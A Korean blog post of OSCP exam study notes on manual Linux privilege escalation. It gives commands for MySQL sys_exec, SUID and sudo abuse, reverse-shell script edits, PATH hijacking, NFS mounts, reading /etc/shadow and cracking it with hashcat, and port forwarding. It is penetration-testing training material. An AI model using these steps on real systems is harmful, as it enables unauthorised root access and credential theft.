리눅스 manual 테크닉
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html
Kernel exploits
-다른 쳅터 참고
Programs running as root
>ps aux
Mysql root로 실행중이고 디비 접속 가능하다면 쉘 실행가능
select sys_exec('whoami');
select sys_eval('whoami');
+User Defined function
Installed software
- 설치되는 폴더가 넘 광범위함, 스크립트를 활용하거나 dpkg만....
# Debian
dpkg -l
Weak/reused/plaintext passwords
- DB가 저장된 웹소스, 설정파일 찾아보기
- DB에 저장된 계정의 비밀번호가 서버의 계정 비번으로 재사용되는지 체크
- /var/spool/mail(메일박스 뒤져보기)
Inside service (내부망만 접근 가능한 서비스)
해당 호스트에서만 사용할 수 있는 일부 서비스를 실행 중일 수 있습니다. 외부에서 서비스에 연결할 수 없습니다.
개발 서버, 데이터베이스 또는 다른 것이 될 수 있습니다. 이러한 서비스는 루트로 실행 중이거나 취약점이 있을 수 있습니다.
- netstat를 확인하고 외부에서 수행 한 nmap-scan과 비교하십시오. 내부에서 더 많은 서비스를 찾을 수 있습니까?
# Linux
netstat -anlp
netstat -ano
Suid misconfiguration
소유자 root, setuid 설정, 쉘전환 기능 있는 프로그램 또는 명령어도 공격될 수 있음
nmap, vim, less, more, nano, cp, mv, find
Abusing sudo-rights
>sudo -l 사용하여 exploit
World writable scripts invoked by root
- root에 의해 실행되는 스크립트, 일반유저가 편집이 가능한지
- 리버스쉘 스크립트로 편집하여 Exploit
Bad path configuration
- 바이너리의 path경로에 .이 존재
- Strings로 바이너리 문자열 체크
- PATH 변수 편집하여 tmp폴더에서 페이로드 실행되도록 만들기
- export PATH=.;$PATH
Cronjobs
- 아래 외에 봐야할 폴더가 더 있음, 스크립트로 체크하자.
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
Unmounted filesystems
- 언마운트된 시스템을 찾은 후 다시 마운트하여 권한상승 될만한것을 찾아 볼 수 있음
> mount -l
> cat /etc/fstab
NFS Share
- NFS에 root_sqush같은 설정이 존재하면 원격 root 이름으로 파일 생성이 가능함
# First check if the target machine has any NFS shares
showmount -e 192.168.1.101
# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/
World writable directorie
- 파일업로드 위치로 사용하면 됨
/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba
Privilege Escalation - Weak File Permissions
- 파일을 읽을 수 있고 Hash가 존재하는 경우
>cat /etc/passwd (마우스로 copy&pate로 로컬에 복사)
>cat /etc/shadow (마우스로 copy&pate로 로컬에 복사)
# unbshadow로 병합 후 브루트포싱
> unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt
> hashcat -m 1800 unshadowed.txt rockyou.txt -O
Remote port forwarding
원격 포트 포워딩은 미쳤지만 매우 간단한 개념입니다.
당신은 컴퓨터에 접근했고 컴퓨터가 MYSQL처럼 실행 중이지만 localhost에서만 액세스 할 수 있다고 가정 해보십시오.
당신은 엉터리 shell을 가지고 있기 때문에 그것에 접근 할 수 없습니다.
그래서 우리가 할 수있는 것은 그 포트를 공격하는 컴퓨터로 전달하는 것입니다.
파이썬이 설치되어있는 경우 (sshuttle을 사용해 리모트 포트포워딩을 손쉽게 셋팅할 수 있음)
sshuttle -r root@192.168.1.101 192.168.1.0/24
plink 사용
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
'OSCP > 시험대비' 카테고리의 다른 글
Windows privsec 테크닉 (0) | 2020.09.28 |
---|---|
OSCP 후기 (0) | 2020.07.30 |
Manual SQL Injection for OSCP (0) | 2020.07.22 |
Enumeration for Escalation 스크립트 비교 (bat, exe, sh) (0) | 2020.07.17 |
Manual Privilege Escalation (0) | 2020.07.15 |